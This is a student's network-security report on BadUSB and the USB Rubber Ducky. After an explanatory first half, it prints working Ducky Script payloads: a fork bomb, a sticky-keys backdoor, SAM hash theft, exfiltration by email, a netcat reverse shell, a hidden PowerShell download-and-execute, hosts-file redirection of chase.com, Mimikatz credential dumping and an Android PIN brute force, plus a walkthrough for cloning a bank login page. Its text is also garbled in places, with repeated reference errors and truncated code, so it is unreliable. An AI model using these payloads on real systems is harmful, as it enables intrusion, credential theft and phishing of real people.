Shawn Seaman

Professor Hayajneh
Network Security and Perimeter Protection

Bad USB:Abusing the Inherent Trust of I/O Devies

USB has become such a standard interface in the IT world because of its sheer versatility.
There is a multitude of devices that connect through the USB interface, making it a 1 interface
for many type of technology. If so many different hardware implementations can connect
through the USB standard, what types of security mechanisms are offered and what is the
process of discerning the type of hardware? Unfortunately, the bulk of USB devices on the
market are in a sense HIDs(Human Interface Devices), or more simply put, devices that rely on
direct physical interaction with human beings. In a literal sense, it would seem that there would
not be many, if any, practical security methods applied to USB. Why would a workstation not
trust a USB device, when it is trusted by the human? Humans trust keyboards, so therefore,
computers trust keyboards. Webcams or keyboard devices being engineered on the firmware
level, to become Trojan horses that secretly deliver payloads was never fathomed by the IT
security world, and for good reason. The physical components that makeup a USB device and
the fact that companies do not lock down their firmware on the devices they produce, has led to
the ability by security researchers to exploit USB. With the use of custom code injection,
firmware reverse engineering, and the inherent trust of OSS across all platforms(Linux, Mac,
and Windows), to trust USB devices, researchers have truly been able to turn good devices evil.
What exactly is USB and BadUSB? USB stands for Universal Serial Bus, it is a standard
developed in the early 1990s that created the communication protocols in a bus connection,
communication and power supply between computer(or motherboard) and the other device.1 The
USB protocol simultaneously powers the device as well as created mediums for data transfer,
data stream, and communication.Error: Reference source not found BadUSB is a new class of
attack that focus relies on the USB interface itself. This exploit is technically separate from
operating system security, though it does revel in the fact that machines trust USB by default. In
a sense the BadUSB takes advantage of the lack of embedded security in USB devices. The
USB device, whether it is a keyboard, webcam, mouse, or even a joystick, becomes malicious

(http://msdn.microsoft.com/enus/library/windows/hardware/ff538930%28v=vs.85%29.aspx, n.d.)

pg. 1

through device tampering, not OS tampering.2 This makes BadUSB so dangerous. It dually
wields the ability to be hidden in a joystick or webcam(are workstations going to scan
joysticks?), and has the versatility of being OS independent. Many virus programmers only
target specific OSs due to the different libraries or dependencies they contain.(Trojans coded in
Java do infect all OSs) BadUSB does not face the problem of dependencies, as for the most
part, all OSs will accept, for example: keyboards. It is very important to know what BadUSB is
not, before truly understanding what it indeed is. Viruses, Trojans, worms, or other malware
require OS dependent libraries, dlls, and other dependencies, not to mention antivirus and
firewall evasion, but BadUSB is the opposite of this type of attack vector. BadUSB is not a piece
of malware sitting on the flash storage portion of the USB device.Error: Reference source not
found Turning a USB evil relies on actually reprogramming the USB device itself at the
firmware level. Deep level code injection into the firmware, through reverse engineering, can
turn a simple USB microphone into a device capable of injecting keystrokes silently. What
damage can keystroke injection do? The possibilities are indeed endless, and they will be
demonstrated in this report by even a novice user. Silently executing commands via Windows
PowerShell can cause havoc on a workstation. So it is understood that BadUSB can emulate a
keyboard. Antivirus will not be able to scan this as malicious, it simple reads as a keyboard. The
device can now execute possible powershell commands on the OS to delete files, infiltrate files,
or install malware. The hosts file of a workstation can be edited, which will redirect users to
specific websites of the attackers choice. With the right social engineering attack
implementation, this can cause credentials to be sniffed through the use of cloned websites. A
second attack vector of BadUSB is that of spoofed network adapters.Error: Reference source not
found This can be a huge problem if the attacker embedded code in this example to change the
computers DNS settings to redirect traffic. Security mechanisms will overlook this attack, and
Man in the Middle attacks will become easy. It would be simple to implement a rogue access
point, having unknowing users connect to it, and then subjecting them to Man in the Middle
attacks. They would be none the wiser considering there is no protection against detecting a
USB mouse transforming into a spoofed network adapter. Another exploit BadUSB can take
advantage of is the fact that many devices are plugged in and recognized by the workstation by
the BIOS, before the OS is loaded into memory. An attacker can take external hard drives,
modify the USB controller chip, and write the firmware to act as a rootkit. If said device is
plugged into the workstation when it is powered up, the external drive can install the rootkit deep
into the OS. This would again evade security mechanisms. A rootkit alone isnt harmful but
it would allow the attacker avenues to execute payloads with malicious software/code. The
attack lies in the boot sector, which is before software defenses would load on the OS.Error:
Reference source not found The fourth example of BadUSB is more of a form of trickery. The
exploit can have the ability to replay files. When the USB is being scanned by antivirus, have
the controller chip show a clean file, while hiding the infected file. The antivirus will try to
match virus signatures to the files on the USB by using heuristic methods. The controller chip
will show its poker face, then execute malicious file into memory, perhaps by injecting the
payload into a system process.Error: Reference source not found A fifth and final
implementation of the exploit is Android pin cracking, or other display information.
How does one begin even forming such an exploit though? The problem lies in the USB
controller chip, which is usually generic amongst all USB devices. This allows a USB device to
emulate any other type of USB device, including but not limited to the ones mentioned
2

https://srlabs.de/blog/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf

pg. 2

previously. All USB devices have a controller chip. The user doesnt interact with controller
chip. An example of this would be if the user is interacting with flash drive for file storage, they
are only interacting with the mass storage portion of the device. The same flash drive stores a
firmware which is executed by the controller chip. Again the user does not interact with the
firmware, only the fact that the USB is deemed a mass storage device. Unfortunately, this goes
for the OS as well.

So if the workstation only sees what the USB wants it to see, but not the underworking at the
firmware level, it can be assumed that there are some security flaws that could be spawned from
this design. It should be understood then the mechanics behind how USB devices identify
themselves to workstations. The host controller inside the workstation will recognize when a
USB device is plugged or unplugged from the port. Upon a USB device being plugged in, the
host controller notifies the device driver, and in turn, the device driver scans the device but asks
the device to identify itself.Error: Reference source not found The information the device will
dump to the device driver will be a collectively called the devices descriptors.Error: Reference
source not found There can be many descriptors for a single device, but the OSs device driver
will only use a select few to identify the device. When it comes to descriptors, remember that
USB devices are very broad, so the USB firmware operates on a spectrum of class of devices
not a single handed specific device. The system driver contained by the workstation mostly by
default, should be able to handle the class of devices.(example: the class of keyboards, not a
specific Logitech keyboard) Keyboards, regardless of make or model, will all show that they are
HID devices by their descriptors.Error: Reference source not found Human Interface Device
class will cover all keyboards, mice, gamepads, and tablets, and the workstation will sufficiently
handle all of them. USB devices meant to operate as disks, will call the Mass Storage class. The
device serial number also plays a huge role as a descriptor as well. Serial numbers get stored by
the OS, so when the same device gets plugged in again at a later date, it can be treated and sorted
in the fashion it originally was.Error: Reference source not found For example, an external hard
drive that gets assigned the same drive letter every time it is plugged in, which works out
famously when an automatic OS backup software has that path already stored. Take a look at
this graphical representation of USB identification standards, and exploiting them will become

pg. 3

more clairvoyant. We are assuming here that the attacker has already reverse engineered the
firmware and has begun to inject code into the empty spaces in said firmware.

An attacker can modify the

interface to show:1-webcam 14-video.Error: Reference source not found This is telling the host
controller of a workstation that a flash storage device has audio and video capability, and to be
treated as such by loading said drivers. Endpoints are data ports responsible for streams of
information through the bus. Think of endpoints like TCP streams.Error: Reference source not
found The endpoints portion of the USB will always have a control portion identified 0. Here
the attacker modified the endpoints to no longer be the data transfer protocol that was suitable for
the flash storage device, but instead has told the workstation to accommodate for video transfer
streams and audio transfer streams. This storage device is being completely read as a webcam at
this point. This has the makings of an evil firmware that accesses the audio and video captures
of a workstation and uses them for insidious reconnaissance. Upon looking at the serial number
modification, a few important things can be noted. The serial numbers are not even the same
length. USB does not have a fixed serial number or any type of constant method behind USB
serial numbers.Error: Reference source not found They are completely randomized and there is
no correlation between serial numbers and type of device. Devices dont even require a serial
number. The initialization of a USB stick on a workstation is as follows. Firstly the device is
plugged into the USB port. At this point the device boots up as it is powered on, and the boot
loader initializes. The device sends a registration message to the computer, and the computer
comes back with a temporary address. The USB finally sends a descriptor, which is the final
step, as it tells the OS what drivers to load.Error: Reference source not found This interaction
between device and workstation humorously resembles a similar back and forth talk that the
three way TCP handshake illustrates. It is important to note that devices can reregister an infinite
number of times. An example of this is the old 3G modem driver push, though outdated, does
reflect this infinite registry allowance. 3G modems used to load as CD-ROMs, then driver
software would be loaded for the modem through the cd rom, then the cd rom would reregister as
a USB modem. The nature of OS USB handling, this reregistration process, and the fact that
even 3G modems were able to load as CD-ROMS should have been enough foreshadowing to
security researches that BadUSB was a long time coming.
BadUSB seems obvious now that the exploit actually came to fruition, but it is strangely
a very new exploit. The exploit was published less than a year ago, in July of 2014, by two
German security researchers. They outlined how they took control of the devices they turned
evil, but were responsible enough not to release the source code. Karsten Nohl and Jakob Lell
reverse engineered USB firmware from multiple companies in under two months.Error:

pg. 4

Reference source not found This gave them complete access to the USB firmware to make the
USB devices perform and appear as any type of USB device. The first step was to find leaked
firmware on net. In order to reverse engineer the USB chip from the specific 2 companies they
targeted, they needed the necessary code. They then applied heuristics to code. They counted
matches with start and call instructions for different memory locations.Error: Reference source
not found This allowed them to find the descriptors in the binary code. Once they essentially had
the firmware mapped out, they installed their own hooks and injected their own code in unused
parts of the firmware. (this could be performed on webcams, keyboards etc., but they focused on
a flash storage device) This type of reverse engineering they applied to only two chips. But
nothing it stopping malicious users with resources to reverse engineer many chips from many
companies.
Nohl and Lell ran multiple demo attacks. They ran the attacks on a Linux system. The first
attack revolved around gaining admin credentials and escalating privileges. Linux requires
malware to run with root privileges to infect other USB devices or become a network adapter
that changes DNS settings. They needed to escalate privileges to get root access. How was this
done? They got the sudo password on the machine. The USB executed kb commands to activate
and restart the screensaver. The user at this point re-entererd the password to get off the
screensaver, and then the malware stole the sudo(admin) password by malware injected in a
binary related to the screensaver libraries.Error: Reference source not found Now further
damage can be done to the system as Nohl and Lell now had complete root access. This all
relied on keyboard injection and code injected into screensaver dependencies, and none of the
malicious activity took place on the storage portion that interacts with the OS. This completely
evades antivirus. The second attack had the USB stick spoofed as a network adapter. They
successfully got the USB storage device to act as a DHCP server and assign an IP, but not assign
a default gateway. This tells the workstation to use the DNS server but doesnt tell it how to
reach it.Error: Reference source not found This is a form of DNS poisoning. A real world
implementation of this attack would be when a victim browses to https://chase.com, but goes to
attackers version of a cloned chase.com, enters their credentials through the spoofed site. Virus
scanners wont pick up on this. They also proposed a theoretical virtual machine breakout
attack. A USB device programmed to spawn into two USB devices, where the second device
connects to the host computer, then begins injection to pillage the system. This could be a
trouble for backed up cloud servers on virtual machines. Nohl and Lell also performed attacks
using an android phone. They simply plugged the phone into a workstation to charge the phone.
Not only did the phone charge, but they performed the DNS attack as well.Error: Reference
source not found
It has been discussed in great detail what BadUSB can do, but what security mechanisms can
be taken to avert the exploit? Are software rollbacks a viable solution? Consider this scenario.
The system admin decides to reinstall operating systems, or do rollbacks/system restores to clean
up the attack. They need to recover from the virus, and will most likely lose time and money
during the effort. The problem is that this is not patchable via software. If the keyboard has
infected firmware, the system admin would have to realize that it is embedded malware at the
hardware level. The rolled back machines would be re-infected when the hardware devices are
reconnected.Error: Reference source not found Next consider the implementation of USB white
lists, enforced by a firewall or other standalone type of software. Operating systems do not have
the capability built in to have USB whitelist or blacklist features. This would be based on the

pg. 5

serial number. Perhaps a firewall solution does have this feature. It would not matter. Serial
numbers are not mandatory as mentioned before, and can be spoofed. If the user allows a
keyboard from Logitech for example, with a certain serial number, and the firewall white lists
itthe BadUSB exploit can detect this and spoof this serial.Error: Reference source not found
Antivirus meet a similar fate of ineffectiveness as its predecessors. They are especially
ineffective if the USB device is plugged in at boot time and a rootkit is installed via boot sector,
as already discussed.Error: Reference source not found What if device is plugged in during login
and is scanned immediately? The scanner wants to read contents of the device but this is done
with the permission and assistance of the firmware. If the firmware is programmed to lock itself
down from being read, the scanner is useless.Error: Reference source not found Possible fixes
only exist in the realm of the hardware manufacturers at this time. Manufacturers need to
implement a locked firmware. The problem with this is now there can be no feasible way to
have firmware updates. It is absolutely unpractical to lock down the firmware. It is possible to
use cryptographic signatures for firmware but this is hard and expensive to implement on USB
microcontroller chips. It is so costly that this implementation would most certainly never
become mainstream and evolve into a USB standard of security.Error: Reference source not
found Examination of the IronKey USB storage device, and its hefty price tag of over 100
dollars for 16 gb of data storage, provides the assurance of cryptographic signing not becoming a

standard.Error: Reference source not found

Ironkey offers military grade encrypted USB products, as well as physical protection. They
assure that there USB storage devices are not susceptible to BadUSB attacks.3 This is one
example of a company using code signing encryption methods to authenticate firmware updates.
If the firmware cannot be authenticated it cannot be used. It basically self-destructs. This is
expensive, timely and hard to do with a USB controller chip, and therefore in all likelihood wont
spread to the masses as a USB standard.
It is obvious and common sense that to have any effect and compromise security, the
attacker needs at one point or another, whether by his own hands or the victim, physical access to
a machine. What methods can be used to infect users with BadUSB? The art of social
engineering sticks out as the most effective way to utilize the power of BadUSB. Perhaps the
attacker mails a USB stick to certain employees via snail mail, while also emailing them via a
spoofed email as company IT personnel. The email says they need to use this specific USB to
backup data. Predicting human behavior is another simple methodology behind spreading. This
has actually been performed by penetration testers hired by companies. Kevin Mitnick has stated
3

http://www.ironkey.com/en-US/solutions/protect-against-badusb.html

pg. 6

that he would actually sprinkle malicious USB drives in company parking lots, just assuming
employees would pick them up and use them.Error: Reference source not found Everyone likes
a free storage device. It can be important to take advantage of physical security if networking
security is up to par. If an attacker cannot get through the network, it is possible if they had the
will, to infiltrate companies physically, and drop USB devices on sysadmin desks, or perform the
attacks themselves at an unmanned workstation. If imagination permits, an adversary with huge
amounts of resources, packages BadUSB infected keyboards with workstations meant to be
shipped to a government location. They gain access to the workstations before shipment, and
swap out the keyboards for the same one, just with a modified firmware. Anything is possible
when it comes to BadUSB attacks, and that is mostly due to how relied they are on as HIDs.
The USB Rubber Ducky exemplifies how any USB device can become an HID. The
Rubber Ducky, by the company Hak5, has the motto, IF IT QUACKS LIKE A KEYBOARD,
AND TYPES LIKE A KEYBOARD, IT MUST BE A KEYBOARD The rubber ducky is a 40
dollar USB device that is used by penetration testers or malicious attackers. It acts as a keyboard
more specifically, its a keyboard injection tool with its own scripting language that the attacker
can customize and write payloads with.4 The Ducky was purchased and many attacks were
performed. Before the attacks are discussed in greater length, the scripting language and Ducky
construction will be explained further. Ducky Script is the language of the USB Rubber Ducky.
Writing scripts for can be done from any common ASCII text editor such as Notepad, vi, emacs,
nano, gedit, kedit, TextEdit, etc. Ducky Script syntax is simple. Each command resides on a new
line and may have options follow. Commands are written in ALL CAPS, because ducks are loud
and like to quack with pride. Most commands invoke keystrokes, key-combos or strings of text,
while some offer delays or pauses.Error: Reference source not found The Ducky not only
injects keystrokes but also can act as a mass storage device. This is helpful when the attacker
needs to copy stolen credentials extracted from the RAM of the workstation. It is completely
Operating System independent, though scripts will differ depending on whether it is being
plugged into Linux, Mac, or Windows. The Ducky types at speeds not attainable by a human
being, and is optimal for brute forcing. The Ducky uses a 32 bit microcontroller, and it has an
SD card that attaches to it, which accommodates multiple payloads.Error: Reference source not
found The SD card is first put into the computer, where the Ducky script is encoded from a
simple text file into an injectable .bin file. The .bin file is renamed inject.bin, removed from
the SD card reader, and inserted back to the USB Ducky. Now that the Ducky has the payload
loaded onto it via the SD card, once inserted into the USB port, the payload will execute. It is

https://code.google.com/p/ducky-decode/

pg. 7

vital to go over the Ducky syntax and commands. The command

REM, is analogous to that of a comment command. Any code that begins on a line with REM
will not be executed. It should be known that each command happens on a separate line in a
synchronized order.
Example:
REM The next three lines execute a command prompt in Windows
GUI r
STRING cmd
ENTERError: Reference source not found
As seen above, the REM command is a comment line. The GUI command is the same as hitting
the Windows key on the keyboard. GUI alone will open up the start menu search interface. GUI
combined with the letter r, is the same as hitting the windows key on the keyboard and the
character r, which opens up the Windows run function. STRING will output text to the screen.
The ENTER command is self-explanatory. What does this simple Ducky script do? It will
execute the command prompt in Windows. DELAY is another important command in the
Ducky language, and is measured in milliseconds. For example, DELAY 5000, GUI r would
delay for 5 seconds before opening the run box. GUI d will switch to the desktop. The SHIFT
command is also useful as it is used to navigate through text selection boxes. Also can be
combined with PgUp, PgDn, and many other keys for useful functions.Error: Reference source
not found Example: SHIFT INSERT is the copy paste function on most operating systems.
The ALT and CONTROL key commands are also used in combination with keyboard characters
to execute many commands. ALT f will pull up a file menu, and ALT s will save the file.Error:
Reference source not found The arrow commands ARROW UP, ARROW DOWN, ARROW
LEFT, ARROW RIGHT, are self-explanatory directional navigation commands. This will be a
walk through of the

pg. 8

most simple program. This is to understand the process before the programs get more complex.
The duckencode.jar is navigated to via command prompt. Execute java jar duckencode.jar i
easypayload.txt o inject.bin. This takes the Duckyscript in the text file and outputs it to an
injectable jar file. After copying the payload to the SD card and loading it to the Ducky, the
script was executed.
DELAY 3000
GUI r
DELAY 1000
STRING winword.exe
ENTER
DELAY 2000
ENTER
STRING MY NAME IS SHAWN SEAMAN, THIS IS THE MOST BASIC IMPLEMENTATION OF THE INJECTABLE USB DEVICE'S
CAPABILITY
STRING ENTER
STRING TO INJECT KEYSTROKES ON A MACHINE. HELLO WORLD!
DELAY 3000
GUI r
DELAY 200
STRING notepad
ENTER
DELAY 200
STRING Hello World!!!

pg. 9

ENTERError: Reference source not found

This simple script opened up Microsoft Word on the workstation and executed the string
specified. The second script was a fork bomb batch script, that initializes itself during startup.
Fork bombs are denial of service attacks that continually call on themselves in the code, in order
to constantly replicate till there are no resources left on the PC. Only relevant code will be
shown from now on. Full codes will be uploaded separately.
STRING cd C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
ENTER
STRING copy con a.bat
ENTER
STRING @echo off
ENTER
STRING :START5
This next script will delete Windows Updates. This script was especially useful for making a
patched Windows 7 machine vulnerable to exploits.
W
ENTER
STRING $input = 'KB2845187'
ENTER
STRING $input = $input.Replace('KB', '')
ENTER
STRING $cmdString = 'wusa /quiet /norestart /uninstall /kb:' + $input
ENTER
STRING Invoke-Expression -Command $cmdString
ENTER
STRING REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Options\sethc.exe + q + /v Debugger /t REG_SZ /d
"C:\windows\system32\cmd.exe
ENTER6
The line STRING $input = 'KB2845187 is especially important as that line is where you insert
the update you want removed. Multiple payloads can be put onto the SD card, which means
multiple updates can be uninstalled. After this script was run on the target computer, Armitage

5
6

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---fork-bomb
http://www.ducktoolkit.com/ScriptSelection.jsp

pg. 10

was used to scan for, and execute a payload on the target host. A reverse shell was initiated and

the machine was exploited.

The next attack is called DuckSlurp and it acts as a keyboard injector as well as a
simultaneous storage device. The point of this attack is to quickly and silently copy the entire
contents of My Documents, to the Ducky.7 It utilizes the execution of multiple power shell
commands and batch file creations to silently perform this task.
This attack will run a port scan on the host device and email the results to the attacker.
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object
System.Net.NetworkCredential('portscanbyshawn', 'password1234');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'shawnportscan@gmail.com'
ENTER
STRING $ReportEmail.To.Add('shawnportscan@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'Duck Toolkit Recon Report'
ENTER
7

https://forums.hak5.org/index.php?/topic/30179-payload-duck-slurp-v2-silent/

pg. 11

STRING $ReportEmail.Body = 'Please find attached your reconnaissance report.'

ENTER
STRING $ReportEmail.Attachments.Error: Reference source not found
In this script portscanbyshawn@gmail.com and password1234 were used for demo purposed, but
these can be customized. The port scanning portion of the script can be found in the full scripts,
but it is important to note that recon assessments can be emailed out to the attacker. Ducky also
supports FTP upload as well as obviously storing to device.
Another attack looked at during the examination of the Ducky was the SAM extract
attack. The .SAM file stores the Windows login hashes. It was opted that the .SAM file be
extracted and then emailed to via gmail. Here is a snippet of code:8
STRING $createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
ENTER
STRING $shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
ENTER
STRING $addSlash = $shadow.DeviceObject + ''
ENTER
STRING cmd /c mklink C:\shadowcopy $addSlash
ENTER
STRING Copy-Item 'C:\shadowcopy\Windows\System32\config\SAM
Another attack that is highly effective is the reverse shell using Netcat. Netcat, or Ncat,
is a tool developed by the same company that brought the port scanned Nmap into the works.
Netcat can read and write data across a network between two hosts. In lack of a better term, it
cat commands data streams.9 If a firewall is not properly configured, as in it blocks incoming
traffic but doesnt monitor what is coming out, a Netcat reverse shell will come in handy. This
attack allows Netcat to be download and executed on the victim machine. Upon execution, a
session is opened on the victim, where they begin to listen on a specified port. Since we as the
attackers already know the port it will be listening on, we will be engaged in two way connection
with the victim.
STRING nc.exe [LISTENER IP] [LISTENER PORT] -e cmd.exe d10
This snippet of code from the Ducky script is an important one. Replace the listener IP and
listener port with the IP of the victim on the internal network and the port you wish to connect to.
This was tested on Windows 8 as the attacker machine and Windows 7 as the victim on a virtual
machine and it was successful.
The Ducky is very efficient at using the powershell, and the powershell can be a very
powerful tool. This simple script will go to a webserver, download a payload, and execute, while
adding persistence for a nice final touch. 11
8

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---retrieve-sam-and-systemfrom-a-live-file-system
9
http://nmap.org/ncat/guide/
10
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---netcat-FTP-downloadand-reverse-shell
11
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---powershell-wget--execute
pg. 12

GUI r
DELAY 100
STRING powershell -windowstyle hidden (new-object
System.Net.WebClient).DownloadFile('http://shawnspayload/bob.old','%TEMP%\bob.exe');
Start-Process "%TEMP%\bob.exe"
ENTER
The simple added string windowstyle hidden, will keep the powershell invisible during this
entire execution. Powershell will use the wget command to pull the content from
shawnspayload and target will be exploited.
The attacker can also edit the hosts file for good measure if they wish. In this example,
we can set www.chase.com , to redirect to a malicious version that will pull the credentials.Error:
Reference source not found
CTRL-SHIFT ENTER
DELAY 400
STRING cd C:\Windows\System32\drivers\etc\
ENTER
DELAY 400
STRING echo 64.149.122.94 www.chase.com>>hosts
Chase will be the site the victim will attempt to go to, whereas the IP is the site the victim will be
redirected to.
This next Rubber Ducky attack utilize the Mimikatz tool to extract passwords by
dumping them from RAM, then gmailing the attacker. Before proceeding, Mimikatz should be
expanded upon. Mimikatz works by pulling passwords in the clear through Wdigest through
LSASS.exe. WDigest is a DLL first added in Windows XP that is used to authenticate users
against HTTP Digest authentication and Simple Authentication Security Layer (SASL)
exchanges. Both of these require the users plain-text password in order to derive the key to
authenticatethus why it is stored in plain-text.12 LSASS stands for Local Security Authority
Subsystem Service, and it is a process that is responsible for the correct maintenance of the
security policy on the workstation. It is important to note that a dll called sekurlsa.dll is needed
for the injection into the LSSAS service.Error: Reference source not found A code snipper will
be shown, but the downloading and executing of Mimikatz will be omitted because that keyoard
injection technique was already demonstrated. The gmail smpt server part of the code will also
be omitted.13
REM -------------get the passwords and save to c:\pwlog.txt
STRING %TEMP%\pw.exe > c:\pwlog.txt & type pwlog.txt;
ENTER
DELAY 2000
STRING privilege::debug
ENTER
DELAY 1000
12

http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dump-passwords.html
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---download-mimikatz%2Cgrab-passwords-and-email-them-via-gmail
13

pg. 13

STRING sekurlsa::logonPasswords full

ENTER
The Ducky as shown already, can edit the hosts file, but what if the attacker did a more
advanced DNS poisoning, and also used a penetration testing tool to further the blow. The below
snippet of code is the meat and potatoes of this DNS poisoning attack.14
redirectionAddress = '10.255.169.6 '
ENTER
STRING $redirectedSite = 'www.chase.com/login'
ENTER
STRING $hosts = $redirectionAddress + ' ' + $redirectedSite
ENTER
STRING $hosts2 = $redirectionAddress + ' www.' + $redirectedSite
ENTER
STRING Add-Content -Value $hosts -Path
'C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS'
ENTER
STRING Add-Content -Value $hosts2 -Path
'C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS'
The attacker should modify $redirectedSite= to the site the victim assumes to be visiting.
Then the attacker should modify the $redirectedSite= to the IP they are running the cloned
version of the website on. Common examples would be social media sites such as Twitter and
Facebook, or financial institutions such as Chase or TDBank. The attacker can now send a
spoofed email to the victim, telling them they need to re-enter their credentials at chase.com.
Suspicion will be avoided as the attacker can type the actual chase URL into the email. Using
Kali Linux tool SET, the attacker will be broadcasting this cloned chase site on the network.

14

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---local-dns-poisoning

pg. 14

Choose option 1: Social Engineering Attacks.

pg. 15

pg. 16

Then select option 2. The attacker wants to exploit the victims browser. Then select option 3
for Credential Harvester Attack.

pg. 17

Now the attacker will choose to clone

chase.com.

pg. 18

In the screenshot above www.chase.com was entered , and cloned. The ip address 10.255.169.6
will be the attackers LHOST or externat host ip. The only step left is to start the Apache server.
Once the victim attempts to go to www.chase.com, they will be redirected to a cloned Chase
website at 10.255.169.6, and the credentials logged.
The final attack was performed on a Samsung Galaxy S4, running a fully updated version
of Android. The point of this attack was to brute force a 4 digit pin. These will be all
combinations from 0000 to 9999. That is nine thousand nine hundred and ninety nine possible
pin combinations. Even Android and Iphones will read USB devices as keyboards. The
Rubber Ducky thankfully came with an adapter. The male side of the Ducky plugs directly into a

pg. 19

type-a female connector, and that is converted on the end to a micro-USB male connector. This
plugs directly into the charging port of Samsung Galaxy S4. It should be noted that after five
failed pin attempts on an Android, the Android device will lock for 30 seconds.Error: Reference
source not found Analyze the Ducky Script to see how this is all accounted for.
DELAY 5000 STRING 0000 DELAY 1000 ENTER ENTER STRING 0001 DELAY 1000
ENTER ENTER STRING 0002 DELAY 1000 ENTER ENTER STRING 0003 DELAY 1000
ENTER ENTER STRING 0004 DELAY 1000 ENTER ENTER DELAY 5000 ENTER DELAY
5000 ENTER DELAY 5000 ENTER DELAY 5000 ENTER DELAY 1000 ENTER ENTER
STRING 0005DELAY 1000 ENTER ENTER STRING 0006 DELAY 1000 ENTER ENTER
STRING 0007 DELAY 1000 ENTER ENTER STRING 0008 DELAY 1000 ENTER ENTER
STRING 0009 DELAY 1000 ENTERENTERDELAY 5000 ENTER DELAY Error: Reference
source not found
By now the Ducky Script should flow quite easily when being read. When the Ducky is inserted
into the android it delays 5000 milliseconds or 5 seconds. Then the first combination of 0000 is
entered. The enter button is hit twice, once to enter the pin, and once more to re-engage the pin
pad after the password is rejected. A 1 second delay is in between each password attempt. After
5 pin attempts the Android locks for 30 seconds, so the appropriate delays and enters are added
to match the 30 second lock.(this was done with by the coder with much trial and error) After
the 30 seconds has passed, the script continues trying pins, 0005, 0006, etc. 9,9999 pins a
second is roughly 166 minutes, or 2 hours and 46 minutes. Unfortunately, we must factor in the
fact that for every 5 failed pins, a 30 second wait time is added. If roughly every 5 seconds , 30
seconds is added, this increases the cracking time to MAXIMUM of 19 hours for all
combinations. A 5 pin digit would increase even more, to about 166 hours.Error: Reference

pg. 20

source not found When testing on the Android the pin was set to 0009, for time saving sake, and
it did work flawlessly.
Whether utilizing BadUSB for deep level firmware attacks, or the 30 dollar Rubber
Ducky, the fact remains that there seems to be an adage that , Humans use keyboards,
computers trust keyboards but maybe steps need to be taken to permanently change the way
USB devices are viewed by the InfoSec community. Humans can no longer trust USB devices,
because that device could indeed be turned evil.

Sources

1. http://msdn.microsoft.com/menus/library/windows/hardware/ff538930%28v=vs.85%
29.aspx
2. https://srlabs.de/blog/wp-content/uploads/2014/07/SRLabs-BadUSB-BlackHat-v1.pdf
3. http://www.ironkey.com/en-US/solutions/protect-against-badusb.html
4. https://code.google.com/p/ducky-decode/
5. https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---fork-bomb
6. http://www.ducktoolkit.com/ScriptSelection.jsp

pg. 21

7. https://forums.hak5.org/index.php?/topic/30179-payload-duck-slurp-v2-silent/
8. https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---netcat-FTP9.

download-and-reverse-shell
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---powershell-

wget---execute
10. http://blog.opensecurityresearch.com/2012/06/using-mimikatz-to-dumppasswords.html
11. https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---downloadmimikatz%2C-grab-passwords-and-email-them-via-gmail
12. https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---local-dnspoisoning

pg. 22